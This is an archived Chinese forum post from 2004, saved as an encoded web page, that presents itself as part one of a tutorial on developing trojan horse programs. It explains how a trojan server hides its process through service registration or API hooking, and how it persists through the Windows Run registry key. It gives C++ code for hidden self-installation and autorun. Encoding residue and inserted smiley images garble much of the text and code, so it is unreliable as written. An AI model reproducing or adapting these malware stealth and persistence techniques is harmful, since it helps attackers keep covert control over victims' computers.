透视木马程序开发技术（上）.mht

精华BBS贴子

=CE=B1=D2=FE=B2=D8=A3=AC=BE=CD=CA=C7=D6=B8=B3=CC=D0=F2=B5=C4=BD=F8=B3=CC<=
BR>=C8=D4=C8=BB=B4=E6=D4=DA=A3=AC=D6=BB=B2=BB=B9=FD=CA=C7=C8=C3=CB=FB=CF=FB=
=CA=A7=D4=DA=BD=F8=B3=CC=C1=D0=B1=ED=C0=EF=A1=A3=D5=E6=D2=FE=B2=D8=D4=F2=CA=
=C7=C8=C3=B3=CC=D0=F2=B3=B9=B5=D7=B5=C4=CF=FB=CA=A7=A3=AC=B2=BB=D2=D4=D2=BB=
=B8=F6=BD=F8=B3=CC<BR>=BB=F2=D5=DF=B7=FE=CE=F1=B5=C4=B7=BD=CA=BD=B9=A4=D7=
=F7=A1=A3<BR><BR>=A1=A1=A1=A1=CE=B1=D2=FE=B2=D8=B5=C4=B7=BD=B7=A8=A3=AC=CA=
=C7=B1=C8=BD=CF=C8=DD=D2=D7=CA=B5=CF=D6=B5=C4=A3=AC=D6=BB=D2=AA=B0=D1=C4=BE=
=C2=ED=B7=FE=CE=F1=C6=F7=B6=CB=B5=C4=B3=CC=D0=F2=D7=A2=B2=E1=CE=AA=D2=BB=B8=
=F6=B7=FE=CE=F1=BE=CD=BF=C9=D2=D4<BR>=C1=CB=A3=AC=D5=E2=D1=F9=A3=AC=B3=CC=
=D0=F2=BE=CD=BB=E1=B4=D3=C8=CE=CE=F1=C1=D0=B1=ED=D6=D0=CF=FB=CA=A7=C1=CB=A3=
=AC=D2=F2=CE=AA=CF=B5=CD=B3=B2=BB=C8=CF=CE=AA=CB=FB=CA=C7=D2=BB=B8=F6=BD=F8=
=B3=CC=A3=AC=B5=B1=B0=B4=CF=C2Ctrl+Alt<BR>+Delete=B5=C4=CA=B1=BA=F2=A3=AC=
=D2=B2=BE=CD=BF=B4=B2=BB=B5=BD=D5=E2=B8=F6=B3=CC=D0=F2=A1=A3=B5=AB=CA=C7=A3=
=AC=D5=E2=D6=D6=B7=BD=B7=A8=D6=BB=CA=CA=D3=C3=D3=DAWindows9x=B5=C4=CF=B5=CD=
=B3=A3=AC=B6=D4=D3=DAWi<BR>ndows=20
                        NT,Windows=20
                        =
2000=B5=C8=A3=AC=CD=A8=B9=FD=B7=FE=CE=F1=B9=DC=C0=ED=C6=F7=A3=AC=D2=BB=D1=
=F9=BB=E1=B7=A2=CF=D6=C4=E3=D4=DA=CF=B5=CD=B3=D6=D0=D7=A2=B2=E1=B9=FD=B5=C4=
=B7=FE=CE=F1=A1=A3=C4=D1=B5=C0=CE=B1<BR>=D2=FE=B2=D8=B5=C4=B7=BD=B7=A8=BE=
=CD=D5=E6=B5=C4=B2=BB=C4=DC=D3=C3=D4=DAWindows=20
                        =
NT/2000=CF=C2=C1=CB=C2=F0=A3=BF=B5=B1=C8=BB=BB=B9=D3=D0=B0=EC=B7=A8=A3=AC=
=C4=C7=BE=CD=CA=C7API=B5=C4=C0=B9=BD=D8=BC=BC=CA=F5<BR>=A3=AC=CD=A8=B9=FD=
=BD=A8=C1=A2=D2=BB=B8=F6=BA=F3=CC=A8=B5=C4=CF=B5=CD=B3=B9=B3=D7=D3=A3=AC=C0=
=B9=BD=D8PSAPI=B5=C4EnumProcessModules=B5=C8=CF=E0=B9=D8=B5=C4=BA=AF=CA=FD=
=C0=B4=CA=B5=CF=D6=B6=D4=BD=F8<BR>=B3=CC=BA=CD=B7=FE=CE=F1=B5=C4=B1=E9=C0=
=FA=B5=F7=D3=C3=B5=C4=BF=D8=D6=C6=A3=AC=B5=B1=BC=EC=B2=E2=B5=BD=BD=F8=B3=CC=
ID=A3=A8PID=A3=A9=CE=AA=C4=BE=C2=ED=B3=CC=D0=F2=B5=C4=B7=FE=CE=F1=C6=F7=B6=
=CB=BD=F8=B3=CC=B5=C4=CA=B1=BA=F2=D6=B1=BD=D3<BR>=CC=F8=B9=FD=A3=AC=D5=E2=
=D1=F9=BE=CD=CA=B5=CF=D6=C1=CB=BD=F8=B3=CC=B5=C4=D2=FE=B2=D8=A3=AC=BD=F0=C9=
=BD=B4=CA=B0=D4=B5=C8=C8=ED=BC=FE=A3=AC=BE=CD=CA=C7=CA=B9=D3=C3=C1=CB=C0=E0=
=CB=C6=B5=C4=B7=BD=B7=A8=A3=AC=C0=B9=BD=D8=C1=CBTextOu<BR>tA,TextOutW=BA=AF=
=CA=FD=A3=AC=C0=B4=BD=D8=BB=F1=C6=C1=C4=BB=CA=E4=B3=F6=A3=AC=CA=B5=CF=D6=BC=
=B4=CA=B1=B7=AD=D2=EB=B5=C4=A1=A3=CD=AC=D1=F9=A3=AC=D5=E2=D6=D6=B7=BD=B7=A8=
=D2=B2=BF=C9=D2=D4=D3=C3=D4=DA=BD=F8=B3=CC=D2=FE=B2=D8<BR>=C9=CF=A1=A3<BR=
><BR>=A1=A1=A1=A1=B5=B1=BD=F8=B3=CC=CE=AA=D5=E6=D2=FE=B2=D8=B5=C4=CA=B1=BA=
=F2=A3=AC=C4=C7=C3=B4=D5=E2=B8=F6=C4=BE=C2=ED=B5=C4=B7=FE=CE=F1=C6=F7=B2=BF=
=B7=D6=B3=CC=D0=F2=D4=CB=D0=D0=D6=AE=BA=F3=A3=AC=BE=CD=B2=BB=D3=A6=B8=C3=BE=
=DF=B1=B8=D2=BB=B0=E3<BR>=BD=F8=B3=CC=A3=AC=D2=B2=B2=BB=D3=A6=B8=C3=BE=DF=
=B1=B8=B7=FE=CE=F1=B5=C4=A3=AC=D2=B2=BE=CD=CA=C7=CB=B5=A3=AC=CD=EA=C8=AB=B5=
=C4=C8=DC=BD=F8=C1=CB=CF=B5=CD=B3=B5=C4=C4=DA=BA=CB=A1=A3=D2=B2=D0=ED=C4=E3=
=BB=E1=BE=F5=B5=C3=C6=E6=B9=D6=A3=AC=B8=D5<BR>=B8=D5=B2=BB=CA=C7=CB=B5=D2=
=BB=B8=F6=D3=A6=D3=C3=B3=CC=D0=F2=D4=CB=D0=D0=D6=AE=BA=F3=A3=AC=D2=BB=B6=A8=
=BB=E1=B2=FA=C9=FA=D2=BB=B8=F6=BD=F8=B3=CC=C2=F0=A3=BF=B5=C4=C8=B7=A3=AC=CB=
=F9=D2=D4=CE=D2=C3=C7=BF=C9=D2=D4=B2=BB=B0=D1=CB=FB=D7=F6=B3=C9<BR>=D2=BB=
=B8=F6=D3=A6=D3=C3=B3=CC=D0=F2=A3=AC=B6=F8=B0=D1=CB=FB=D7=F6=CE=AA=D2=BB=B8=
=F6=CF=DF=B3=CC=A3=AC=D2=BB=B8=F6=C6=E4=CB=FB=D3=A6=D3=C3=B3=CC=D0=F2=B5=C4=
=CF=DF=B3=CC=A3=AC=B0=D1=D7=D4=C9=ED=D7=A2=C8=EB=C6=E4=CB=FB=D3=A6=D3=C3=B3=
=CC=D0=F2<BR>=B5=C4=B5=D8=D6=B7=BF=D5=BC=E4=A1=A3=B6=F8=D5=E2=B8=F6=D3=A6=
=D3=C3=B3=CC=D0=F2=B6=D4=D3=DA=CF=B5=CD=B3=C0=B4=CB=B5=A3=AC=CA=C7=D2=BB=B8=
=F6=BE=F8=B6=D4=B0=B2=C8=AB=B5=C4=B3=CC=D0=F2=A3=AC=D5=E2=D1=F9=A3=AC=BE=CD=
=B4=EF=B5=BD=C1=CB=B3=B9=B5=D7<BR>=D2=FE=B2=D8=B5=C4=D0=A7=B9=FB=A3=AC=D5=
=E2=D1=F9=B5=C4=BD=E1=B9=FB=A3=AC=B5=BC=D6=C2=C1=CB=B2=E9=C9=B1=BA=DA=BF=CD=
=B3=CC=D0=F2=C4=D1=B6=C8=B5=C4=D4=F6=BC=D3=A1=A3<BR><BR>=A1=A1=A1=A1=B3=F6=
=D3=DA=B0=B2=C8=AB=BF=BC=C2=C7=A3=AC=CE=D2=D6=BB=B8=F8=B3=F6=D2=BB=D6=D6=CD=
=A8=B9=FD=D7=A2=B2=E1=B7=FE=CE=F1=B3=CC=D0=F2=A3=AC=CA=B5=CF=D6=BD=F8=B3=CC=
=CE=B1=D2=FE=B2=D8=B5=C4=B7=BD=B7=A8=A3=AC=B6=D4=D3=DA=B8=FC=B8=B4=D4=D3<=
BR>=A3=AC=B8=DF=BC=B6=B5=C4=D2=FE=B2=D8=B7=BD=B7=A8=A3=AC=B1=C8=C8=E7=D4=B6=
=B3=CC=CF=DF=B3=CC=B2=E5=C8=EB=C6=E4=CB=FB=BD=F8=B3=CC=B5=C4=B7=BD=B7=A8=A3=
=AC=C7=EB=B2=CE=D4=C4ShotGun=B5=C4=CE=C4=D5=C2=A1=B6NT=CF=B5=CD=B3=CF=C2=C4=
=BE<BR>=C2=ED=BD=F8=B3=CC=B5=C4=D2=FE=B2=D8=D3=EB=BC=EC=B2=E2=A1=B7=A1=A3=
<BR><BR>WINAPI=20
                        WinMain(HINSTANCE, HINSTANCE, LPSTR,=20
                        int)<BR>{<BR>try<BR>{<BR>DWORD dwVersion =3D =
GetVersion();=20
                        =
//=C8=A1=B5=C3Windows=B5=C4=B0=E6=B1=BE=BA=C5<BR>if (dwVersion &gt;=3D =
0x80000000) //=20
                        Windows =
9x=D2=FE=B2=D8=C8=CE=CE=F1=C1=D0=B1=ED<BR>{<BR>int (CALLBACK=20
                        *rsp)(DWORD,DWORD);<BR>HINSTANCE=20
                        dll=3DLoadLibrary("KERNEL32.DLL"<IMG=20
                        =
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
                        align=3DabsMiddle border=3D0>;=20
                        =
//=D7=B0=C8=EBKERNEL32.D<BR>LL<BR>rsp=3D(int(CALLBACK=20
                        =
*)(DWORD,DWORD))GetProcAddress(dll,"Regist<BR>erServiceProcess"<IMG=20
                        =
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
                        align=3DabsMiddle border=3D0>;=20
                        =
//=D5=D2=B5=BDRegisterServiceProcess=B5=C4=C8=EB=BF=DA<BR>rsp(NULL,1);=20
                        //=D7=A2=B2=E1=B7=FE=CE=F1<BR>FreeLibrary(dll); =
//=CA=CD=B7=C5DLL=C4=A3=BF=E9<BR>}<BR>}<BR>catch=20
                        (Exception &amp;exception)=20
                        =
//=B4=A6=C0=ED=D2=EC=B3=A3=CA=C2=BC=FE<BR>{<BR>//=B4=A6=C0=ED=D2=EC=B3=A3=
=CA=C2=BC=FE<BR>}<BR>return=20
                        =
0;<BR>}<BR><BR>3=A1=A2=B3=CC=D0=F2=B5=C4=D7=D4=BC=D3=D4=D8=D4=CB=D0=D0=BC=
=BC=CA=F5<BR><BR>=A1=A1=A1=A1=C8=C3=B3=CC=D0=F2=D7=D4=D4=CB=D0=D0=B5=C4=B7=
=BD=B7=A8=B1=C8=BD=CF=B6=E0=A3=AC=B3=FD=C1=CB=D7=EE=B3=A3=BC=FB=B5=C4=B7=BD=
=B7=A8=A3=BA=BC=D3=D4=D8=B3=CC=D0=F2=B5=BD=C6=F4=B6=AF=D7=E9=A3=AC=D0=B4=B3=
=CC=D0=F2=C6=F4=B6=AF=C2=B7=BE=B6<BR>=B5=BD=D7=A2=B2=E1=B1=ED=B5=C4HKEY_L=
OCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersions\Run=B5=C4=B7=BD=B7=
=A8<BR>=CD=E2=A3=AC=BB=B9=D3=D0=BA=DC=B6=E0=C6=E4=CB=FB=B5=C4=B0=EC=B7=A8=
=A3=AC=BE=DDyagami=BD=B2=A3=AC=BB=B9=D3=D0=BC=B8=CA=AE=D6=D6=B7=BD=B7=A8=D6=
=AE=B6=E0=A3=AC=B1=C8=C8=E7=BF=C9=D2=D4=D0=DE=B8=C4Boot.ini=A3=AC=BB=F2<B=
R>=D5=DF=CD=A8=B9=FD=D7=A2=B2=E1=B1=ED=C0=EF=B5=C4=CA=E4=C8=EB=B7=A8=BC=FC=
=D6=B5=D6=B1=BD=D3=B9=D2=BD=D3=C6=F4=B6=AF=A3=AC=CD=A8=B9=FD=D0=DE=B8=C4E=
xplorer.exe=C6=F4=B6=AF=B2=CE=CA=FD=B5=C8=B5=C8=B5=C4=B7=BD=B7=A8=A3=AC<B=
R>=D5=E6=B5=C4=BF=C9=D2=D4=CB=B5=CA=C7=B7=C0=B2=BB=CA=A4=B7=C0=A3=AC=CF=C2=
=C3=E6=D5=B9=CA=BE=D2=BB=B6=CE=CD=A8=B9=FD=D0=DE=B8=C4HKEY_LOCAL_MACHINE\=
SOFTWARE\Microsoft\<BR>Windows\CurrentVersions\Run=BC=FC=D6=B5=C0=B4=CA=B5=
=CF=D6=D7=D4=C6=F4=B6=AF=B5=C4=B3=CC=D0=F2=A3=BA<BR><BR>=A1=A1=A1=A1=D7=D4=
=D7=B0=D4=D8=B2=BF=B7=D6=A3=BA<BR><BR>HKEY=20
                        hkey;<BR>AnsiString=20
                        =
NewProgramName=3DAnsiString(sys)+AnsiString("\\"<IMG=20
                        =
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
                        align=3DabsMiddle border=3D0>+PName;<BR>unsigned =
long=20
                        =
k;<BR>k=3DREG_OPENED_EXISTING_KEY;<BR>RegCreateKeyEx(HKEY_LOCAL_MACHINE,<=
BR>"SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\",<BR>0L,<BR>NULL,=
<BR>REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE,<BR>NULL,<BR>&am=
p;hkey,&amp;k);<BR>RegSetValueEx(hkey,<BR>"BackGroup",<BR>0,<BR>REG_SZ,<B=
R>NewProgramName.c_str(),<BR>NewProgramName.Length());<BR>RegCloseKey(hke=
y);<BR>if=20
                        =
(int(ShellExecute(Handle,<BR>"open",<BR>NewProgramName.c_str(),<BR>NULL,<=
BR>NULL,<BR>SW_HIDE))&gt;32)<BR>{<BR>WantClose=3Dtrue;<BR>Close();<BR>}<B=
R>else<BR>{<BR>HKEY=20
                        hkey;<BR>unsigned long=20
                        k;<BR>k=3DREG_OPENED_EXISTING_KEY;<BR>long=20
                        =
a=3DRegCreateKeyEx(HKEY_LOCAL_MACHINE,<BR>"SOFTWARE\\MICROSOFT\\WINDOWS\\=
CURRENTVERSION\\RUN",<BR>0,<BR>NULL,<BR>REG_OPTION_NON_VOLATILE,<BR>KEY_S=
ET_VALUE,NULL,<BR>&amp;hkey,&amp;k);<BR>RegSetValueEx(hkey,<BR>"BackGroup=
",<BR>0,<BR>REG_SZ,<BR>ProgramName.c_str(),<BR>ProgramName.Length());<BR>=
int=20
                        num=3D0;<BR>char str[20];<BR>DWORD =
lth=3D20;<BR>DWORD=20
                        type;<BR>char strv[255];<BR>DWORD =
vl=3D254;<BR>DWORD=20
                        =
Suc;<BR>do{<BR>Suc=3DRegEnumValue(HKEY_LOCAL_MACHINE,<BR>(DWORD)num,str,<=
BR>NULL,<BR>&amp;type,<BR>strv,&amp;vl);<BR>if=20
                        (strcmp(str,"BGroup"<IMG=20
                        =
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
                        align=3DabsMiddle=20
                        =
border=3D0>=3D=3D0)<BR>{<BR>DeleteFile(AnsiString(strv));<BR>RegDeleteVal=
ue(HKEY_LOCAL_MACHINE,"BGroup"<IMG=20
                        =
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
                        align=3DabsMiddle=20
                        =
border=3D0>;<BR>break;<BR>}<BR><BR>}while(Suc=3D=3D=20
                        =
ERROR_SUCCESS);<BR>RegCloseKey(hkey);<BR>}<BR><BR>=D7=D4=D7=B0=D4=D8=B3=CC=
=D0=F2=B5=C4=D0=B6=D4=D8=B4=FA=C2=EB=A3=BA<BR><BR>int=20
                        num;<BR>char str2[20];<BR>DWORD =
lth=3D20;<BR>DWORD=20
                        type;<BR>char strv[255];<BR>DWORD =
vl=3D254;<BR>DWORD=20
                        =
Suc;<BR>do{<BR>Suc=3DRegEnumValue(HKEY_LOCAL_MACHINE,<BR>(DWORD)num,<BR>s=
tr,<BR>NULL,<BR>&amp;type,<BR>strv,<BR>&amp;vl);<BR>if=20
                        (strcmp(str,"BGroup"<IMG=20
                        =
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
                        align=3DabsMiddle=20
                        =
border=3D0>=3D=3D0)<BR>{<BR>DeleteFile(AnsiString(strv));<BR>RegDeleteVal=
ue(HKEY_LOCAL_MACHINE,"BGroup"<IMG=20
                        =
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
                        align=3DabsMiddle=20
                        border=3D0>;<BR>break;<BR>}<BR>}while(Suc=3D=3D=20
                        ERROR_SUCCESS)<BR>HKEY hkey;<BR>unsigned long=20
                        =
k;<BR>k=3DREG_OPENED_EXISTING_KEY;<BR>RegCreateKeyEx(HKEY_LOCAL_MACHINE,<=
BR>"SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN",<BR>0,<BR>NULL,<BR=
>REG_OPTION_NON_VOLATILE,<BR>KEY_SET_VALUE,NULL,<BR>&amp;hkey,<BR>&amp;k)=
;<BR>do{<BR>Suc=3DRegEnumValue(hkey,(DWORD)num,str,=20
                        if (strcmp(str,"BackGroup"<IMG=20
                        =
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
                        align=3DabsMiddle=20
                        =
border=3D0><BR>=3D=3D0)<BR>{<BR>DeleteFile(AnsiString(strv));<BR>RegDelet=
eValue(HKEY_LOCAL_MACHINE,"BackGroup"<IMG=20
                        =
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
                        align=3DabsMiddle=20
                        border=3D0>;<BR>break;<BR>}<BR>}while(Suc=3D=3D=20
                        =
ERROR_SUCCESS)<BR>RegCloseKey(hkey);<BR><BR>=C6=E4=D6=D0=D7=D4=D7=B0=D4=D8=
=B2=BF=B7=D6=CA=B9=D3=C3C++=20
                        =
Builder=BF=C9=D2=D4=D5=E2=D1=F9=D0=B4=A3=AC=BB=E1=B1=C8=BD=CF=BC=F2=BB=AF=
=A3=BA<BR><BR>TRegistry &amp; regKey =3D *new=20
                        =
TRegistry();<BR>regKey.RootKey=3DHKEY_LOCAL_MACHINE;<BR>regKey.OpenKey("S=
oftware\\Microsoft\\Windows\\CurrentVersion\\Run",true);<BR>if(!regKey.Va=
lueExists("Interbase=20
                        Server"<IMG=20
                        =
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
                        align=3DabsMiddle=20
                        =
border=3D0>)<BR>{<BR>regKey.WriteString("Interbase=20
                        Server",<BR>"D:\\Program=20
                        Files\\Borland\\IntrBase\\BIN\\ibserver.exe"<IMG =

                        =
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
                        align=3DabsMiddle=20
                        =
border=3D0>;<BR>}<BR>regKey.CloseKey();<BR>delete=20
                        &amp;reg;Key;<A name=3Dendpid365193></A> =
<BR></TD></TR>
                    <TR align=3Dright>
                      <TD vAlign=3Dbottom><BR><BR><BR><BR><BR><IMG=20
                        =
src=3D"http://25.20.176.12/bbs/images/common/sigline.gif"><BR>=C8=C8=B0=AE=
=C9=FA=BB=EE</TD></TR></TBODY></TABLE></TD></TR>
              <TR bgColor=3D#e8f2ff>
                <TD class=3Dsmalltxt vAlign=3Dcenter><A=20
                  =
href=3D"http://25.20.176.12/bbs/viewthread.php?tid=3D35787#pid365193"><IM=
G=20
                  alt=3D=BB=D8=B5=BD=B5=DA1=CC=F9=BF=AA=CD=B7=20
                  =
src=3D"http://25.20.176.12/bbs/images/default/threadforward.gif"=20
                  align=3DabsMiddle border=3D0></A> 2004-6-19 09:49 =
PM</A> </TD>
                <TD vAlign=3Dcenter>
                  <TABLE cellSpacing=3D0 cellPadding=3D0 width=3D"100%" =
border=3D0>
                    <TBODY>
                    <TR class=3Dsmalltxt>
                      <TD align=3Dleft><A=20
                        =
href=3D"http://25.20.176.12/bbs/viewpro.php?username=3Dfishyuq"><IMG=20
                        alt=3D=B2=E9=BF=B4=D7=CA=C1=CF=20
                        =
src=3D"http://25.20.176.12/bbs/images/default/profile.gif"=20
                        border=3D0></A>&nbsp; <A href=3D"http:///"=20
                        target=3D_blank><IMG =
alt=3D=B7=C3=CE=CA=D6=F7=D2=B3=20
                        =
src=3D"http://25.20.176.12/bbs/images/default/site.gif"=20
                        border=3D0></A>&nbsp; <A=20
                        =
href=3D"http://25.20.176.12/bbs/search.php?srchuname=3Dfishyuq&amp;srchfi=
d=3Dall&amp;srchfrom=3D0&amp;searchsubmit=3Dyes"><IMG=20
                        =
alt=3D=CB=D1=CB=F7=B8=C3=D3=C3=BB=A7=B5=C4=C8=AB=B2=BF=CC=FB=D7=D3=20
                        =
src=3D"http://25.20.176.12/bbs/images/default/find.gif"=20
                        border=3D0></A>&nbsp; <A=20
                        =
href=3D"http://25.20.176.12/bbs/pm.php?action=3Dsend&amp;username=3Dfishy=
uq"=20